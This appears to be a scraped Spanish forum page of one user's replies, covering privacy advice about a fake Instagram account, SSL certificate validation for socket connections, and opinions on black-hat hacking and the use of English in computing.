Dudas y pedidos generales / Re:Instagram falso sube fotos sin consentimiento
Junio 26, 2020, 02:15:54 AM
Hola @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, al utilizar las redes sociales corres este tipo de riesgo, expones tu informacion. No sirve de nada que cierren la cuenta, basta con crearse una nueva. Lo que toca es aprender a sobrellevar este tipo de personas y ser mas cuidados@ con lo que compartes.
Saludos.
Saludos.
#38
Dudas y pedidos generales / Re:SSL Sockets
Junio 25, 2020, 11:31:42 PM
No, como te mencione anteriormente, haces las configuraciones iniciales del cliente, realizas la conexion, envias y recibes datos. Al realizar la conexion el servidor te envia su certificado y depende de ti validar o no su autenticidad.
Un ejemplo de validacion se puede observar en los navegadores. Una vez descargado el certificado del servidor, compara la llave publica usada para firmar el certificado con una lista de llaves publicas que trae por defecto de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Si no vas a manejar informacion sensible durante la conexion no es necesario que el cliente disponga de un certificado.
Saludos.
Un ejemplo de validacion se puede observar en los navegadores. Una vez descargado el certificado del servidor, compara la llave publica usada para firmar el certificado con una lista de llaves publicas que trae por defecto de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Si no vas a manejar informacion sensible durante la conexion no es necesario que el cliente disponga de un certificado.
Saludos.
#39
Dudas y pedidos generales / Re:SSL Sockets
Junio 25, 2020, 09:23:14 PM
El certificado es necesario si quieres validar el servidor al cual te conectas. Puedes darle una ojeada a este articulo en la web de microsoft You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login posee ejemplos tanto para servidor como para cliente, tambien leete esto You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login encontraras otro ejemplo mas corto y te demuestra como generar un certificado, asumiendo que uses como IDE Visual Studio.
Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login encontraras otro ejemplo mas corto y te demuestra como generar un certificado, asumiendo que uses como IDE Visual Studio.
Saludos.
#40
Debates, Reviews y Opiniones / Re:Entrevista con WHK, ¿qué piensas del Black Hacking y el idioma?
Junio 25, 2020, 03:49:41 PM
Hola, muy interesante el tema. Estoy de acuerdo en que es mas facil "destruir" que "crear", aunque en mi opinion los cibercriminales que de verdad son experimentados llevan a otro nivel el uso normal de un software comun para beneficios delictivos, y el proceso que conlleva el desarollo de exploits o malware que aprovechen cierta vulnerabilidad requiere de mucho conocimiento en el area. Por otro lado el corregir errores o parchear vulnerabilidades tambien requiere de grandes conocimientos y habilidades. Entonces se podria decir que tanto un lado como el otro poseen sus recursos para llevar a cabo su objetivo, al final todo viene a ser cuestion de etica.
Respecto al idioma pienso que muchos optan por incluir el ingles como forma de documentacion en sus proyectos y uso cotidiano en lo que viene a ser la informatica en general, por el hecho de que es reconocido por muchos como la lengua universal. Podria decirse que vendria a ser cuestion de portabilidad o dirigir el mensaje al publico en general.
Saludos.
Respecto al idioma pienso que muchos optan por incluir el ingles como forma de documentacion en sus proyectos y uso cotidiano en lo que viene a ser la informatica en general, por el hecho de que es reconocido por muchos como la lengua universal. Podria decirse que vendria a ser cuestion de portabilidad o dirigir el mensaje al publico en general.
Saludos.

